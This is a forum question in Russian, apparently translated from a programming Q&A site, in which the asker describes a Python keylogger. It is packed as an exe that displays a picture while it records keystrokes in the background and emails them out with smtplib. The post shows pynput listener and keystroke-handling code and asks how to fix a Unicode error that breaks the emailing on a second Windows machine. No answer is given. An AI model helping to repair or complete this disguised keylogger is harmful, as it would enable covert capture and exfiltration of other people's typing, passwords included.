Исключение smtplib при обработке нажатий клавиш с помощью pynput

TL;DR: обнаружил ошибку, еще не решил ее:
Набор текста на английском (слева), на иврите (справа)

Я создал простой кейлоггер в Python 2.7 на моей машине с Ubuntu (VMware). Созданный exe-файл должен показать картинку и выполнить кейлоггер на заднем плане. Он работает на главном компьютере (хост VMware, Python не установлен), но не на другом компьютере, который у меня есть (такженет Python). Он показывает картинку, но не может отправить письмо, используя smtplib

для обработки нажатий клавиш я использовал pynput следующим образом:

keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()

и proccess_keystrokes это:

def process_key_press(self, key):
try:
    current_key = key.char
except AttributeError:
    current_key = '{0}'.format(key)
    if current_key == 'Key.space':
        current_key = " "
    else:
        if current_key == 'Key.enter':
            current_key = "\n"
        else:
            current_key = " " + current_key + " "
except UnicodeEncodeError:
    current_key = " bla "
self.append_to_log(current_key)

теперь он не отправляет ничего на моем компьютере с Windows, кроме первого уведомления о запуске кейлоггера.

Я также попытался запустить из pycharm, и после нескольких секунд работы я получил следующее исключение:

Файл "C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", строка 855, в sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError: 'ascii кодек не может кодировать символы в позиции 6-11: порядковый номер не в диапазоне (128)

Кто-нибудь знает, что я делаю не так? как правильно разобрать нажатия клавиш? Я попробовал несколько руководств, но не смог найти решение.

Был бы признателен за любую помощь, спасибо.

0 ответов

Другие вопросы по тегам